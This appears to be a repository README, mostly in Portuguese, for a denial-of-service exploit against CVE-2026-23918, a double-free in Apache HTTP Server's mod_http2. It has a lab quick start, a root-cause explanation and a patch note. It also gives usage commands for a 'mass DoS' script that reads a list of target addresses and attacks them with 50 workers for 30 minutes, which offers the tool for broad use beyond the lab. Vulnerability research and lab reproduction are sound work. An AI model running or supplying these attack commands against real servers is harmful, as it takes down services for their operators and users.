CVE-2026-23918: Apache HTTP/2 Double-Free DoS

CVE-2026-23918 | Apache HTTP Server 2.4.66 | CWE-415: Double Free | CVSS 8.8 | Corrigida na versão 2.4.67

Uma vulnerabilidade de double-free em mod_http2 (h2_mplx.c) permite que atacantes remotos causem uma negação de serviço (falha do worker) por meio de frames RST_STREAM rápidos que disparam uma condição de corrida entre c1c2_stream_joined() e m_stream_cleanup().

Quick Start

# 1. Start the lab
docker-compose up --build -d

# 2. Run the PoC
pip3 install h2
python3 poc.py --target 127.0.0.1 --port 8443

# 3. Watch the crash
docker logs -f apache-lab

# 4. Clean up
docker-compose down -v

Resultado: O servidor falha em ~30s–3min com SIGSEGV — DoS confiável confirmado.

Exploits

Uso do Mass DoS

# Create target list
echo "192.168.1.100:8443" > targets.txt
echo "10.0.0.50:8443" >> targets.txt

# Attack 10 targets for 30 minutes
python3 exploits/mass-dos.py --targets targets.txt --duration 30 --workers 50 --intensity 7

O Que a Vulnerabilidade Explora

A vulnerabilidade é acionada quando:

1. Um stream é unido simultaneamente por c1c2_stream_joined() e m_stream_cleanup()
2. Ambos adicionam o mesmo stream a m->spurge sem desduplicação
3. h2_purge_then_destroy() destrói o stream duas vezes → double-free → segfault

Mitigação

Atualize para o Apache 2.4.67 ou versões posteriores.

• NVD — CVE-2026-23918
• Aviso de Segurança do Apache

Análise Aprofundada

Análise completa da vulnerabilidade, passo a passo da causa raiz, notas de exploração e orientações de remediação: → rhasan.com/CVE-2026-23918

Créditos

Referências

• CWE-415: Double Free
• oss-sec ML

⭐ Dê uma estrela neste repositório se você o achou útil!

Estrelas